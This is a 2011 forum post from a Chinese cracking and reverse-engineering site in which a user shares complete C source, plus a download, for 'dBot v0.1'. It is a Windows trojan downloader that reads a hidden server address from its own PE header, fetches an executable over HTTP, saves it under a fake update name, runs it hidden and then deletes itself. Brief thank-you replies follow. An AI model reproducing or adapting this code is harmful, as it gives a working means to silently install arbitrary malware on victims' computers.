吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4451|回复: 9
收起左侧

[C&C++ 转载] dBot v0.1源码

[复制链接]
MiKu_fl0 发表于 2011-3-12 18:24
本帖最后由 MiKu_fl0 于 2011-3-12 18:27 编辑

开学后,有一段时间没来了,不发点东西手痒。

dBot的源码,上次有人在我blog里要,没给!(因为实在是太简单了,只要拿OD稍微逆下就出来了……)

源码里用到了socket和http协议,比较基础,而且当时写的时候没给注释,现在也懒的写了。

要申明下,下载地址我是直接写在PE头的,请看到源码且无语的童鞋淡定。(PE头不是有那么个128字节是可以利用吗?嘿嘿~主要原因还是因为我懒 - -!)

源码:
#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker, "/entry:server")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/filealign:512")

BOOL URLDownload(LPCTSTR lpServerName, USHORT uPort, LPCTSTR lpRequestURL, LPCTSTR lpFileName);
int GetContentLength(const char *buf, int len);
void GetConfig(char *buf, int len);

void server()
{
        char szConfig[128];

        GetConfig(szConfig, sizeof(szConfig));
        if (szConfig[0] == '\0')
                return;

        int nOffset = 0;
        for (int i = 0; i < 128; i++)
        {
                if (szConfig[i] == '|')
                {
                        nOffset = i;
                        break;
                }
        }

        szConfig[nOffset] = '\0';

        char szTempPath[MAX_PATH];
        char szFilePath[MAX_PATH];

        int nRam = rand() % 1024;

        GetTempPath(sizeof(szTempPath), szTempPath);
        ::wsprintf(szFilePath, "%sKB201101%d.exe", szTempPath, nRam);

        URLDownload(szConfig, 80, &szConfig[nOffset + 1], szFilePath);
        ::WinExec(szFilePath, SW_HIDE);

        char szModuleName[MAX_PATH] = { '\0' };
        int n = ::GetModuleFileName(NULL, szModuleName + 1, sizeof(szModuleName));
        szModuleName[0] = '"';
        szModuleName[n + 1] = '"';

        char szCmd[512];
        ::wsprintf(szCmd, "cmd /c netstat -an&&del /s /q %s", szModuleName);
        ::WinExec(szCmd, SW_HIDE);

        return;
}

BOOL URLDownload(LPCTSTR lpServerName, USHORT uPort, LPCTSTR lpRequestURL, LPCTSTR lpFileName)
{
        WSADATA                wsaData;
        SOCKET                sWinsock                =        NULL;
        USHORT                uConnPort                =        uPort;
        HOSTENT                *pServer_entry        =        NULL;
        char                *lpServer_ip        =        NULL;
        BOOL                bSuccess                =        FALSE;

        int nError = ::WSAStartup(MAKEWORD(2, 2), &wsaData);
        if (nError != NO_ERROR)
        {
                ::WSACleanup();

                return FALSE;
        }

        pServer_entry = ::gethostbyname(lpServerName);
        lpServer_ip = ::inet_ntoa(*(in_addr*)pServer_entry->h_addr_list[0]);

        sWinsock = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sWinsock == INVALID_SOCKET)
        {
                ::closesocket(sWinsock);

                return FALSE;
        }

        SOCKADDR_IN                sinSockaddr;
        sinSockaddr.sin_family                        =        AF_INET;
        sinSockaddr.sin_port                        =        htons(uConnPort);
        sinSockaddr.sin_addr.s_addr                =        ::inet_addr(lpServer_ip);

        nError = ::connect(sWinsock, (SOCKADDR*)&sinSockaddr, sizeof(sinSockaddr));
        if (nError == SOCKET_ERROR)
        {
                ::closesocket(sWinsock);

                return FALSE;
        }

        char szHttpHeader[512];
        ZeroMemory(szHttpHeader, sizeof(szHttpHeader));

        strcat(szHttpHeader, "GET ");
        strcat(szHttpHeader, lpRequestURL);
        strcat(szHttpHeader, " HTTP/1.1\r\n");
        strcat(szHttpHeader, "Host:");
        strcat(szHttpHeader, lpServerName);
        strcat(szHttpHeader, "\r\n");
        strcat(szHttpHeader, "Accept:*/*\r\n");
        strcat(szHttpHeader, "Connection:close\r\n\r\n");

        int nSent = ::send(sWinsock, szHttpHeader, strlen(szHttpHeader), 0);
        if (nSent <= 0)
        {
                ::closesocket(sWinsock);

                return FALSE;
        }

        char szHttpResponse[(1024 * 64) + 1];

        HANDLE hFile = ::CreateFile(
                lpFileName,
                GENERIC_WRITE,
                FILE_SHARE_WRITE | FILE_SHARE_READ,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL
        );
        if (hFile == INVALID_HANDLE_VALUE)
        {
                bSuccess = FALSE;

                ::closesocket(sWinsock);

                return bSuccess;
        }

        int                nLength                =        1;
        int                nRecvCount        =        0;
        BOOL        bLength                =        FALSE;

        while (TRUE)
        {
                int nRecv = ::recv(sWinsock, szHttpResponse, sizeof(szHttpResponse), 0);
                if (nRecv <= 0)
                {
                        break;
                }

                if (bLength == FALSE)
                {
                        nLength = GetContentLength(szHttpResponse, sizeof(szHttpResponse));
                        if (nLength != 0)
                        {
                                bLength = TRUE;
                        }
                }

                szHttpResponse[nRecv] = '\0';

                char *offest = strstr(szHttpResponse, "\r\n\r\n");
                if (offest == NULL)
                {
                        offest = &szHttpResponse[0];
                }
                else
                {
                        offest = offest + 4;
                }

                int nWrite = szHttpResponse + nRecv - offest;
                nRecvCount = nRecvCount + nWrite;

                DWORD dwWritten = 0;
                ::WriteFile(hFile, offest, nWrite, &dwWritten, NULL);
        }

        ::CloseHandle(hFile);
        ::closesocket(sWinsock);

        return TRUE;
}

int GetContentLength(const char *buf, int len)
{
        char szLength[128];

        char *lpOffest = strstr(buf, "Content-Length: ");
        lpOffest += 16;

        for (int i = 0; i < len; i++)
        {
                if (buf[i] == '\r')
                {
                        break;
                }

                szLength[i] = lpOffest[i];
        }

        return ::atoi(szLength);
}

void GetConfig(char *buf, int len)
{
        char *lpBase = (char*)::GetModuleHandle(NULL);

        lpBase += 64;

        for (int i = 0; i < len; i++)
        {
                buf[i] = lpBase[i];
        }

        return;
}

v0.1.rar

24.42 KB, 下载次数: 32, 下载积分: 吾爱币 -1 CB

v0.1

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

tywolf 发表于 2011-3-24 22:27
额,这个。。。
猪十戒 发表于 2011-3-12 20:10
songxng10000 发表于 2011-10-1 17:48
crack_max 发表于 2011-10-13 21:51
谢谢共享~!!
wenjin227 发表于 2011-10-23 11:44
这个,这个。。。。。
hak88 发表于 2011-11-22 09:28
zhicyixia
O_o 发表于 2011-11-26 21:49
  下载者吗?
kuler 发表于 2012-3-7 15:16
赶紧拿分啊!!!!
mofa005 发表于 2014-4-15 21:59
这东西360直接杀掉了。。。。。。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-9-22 07:12

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表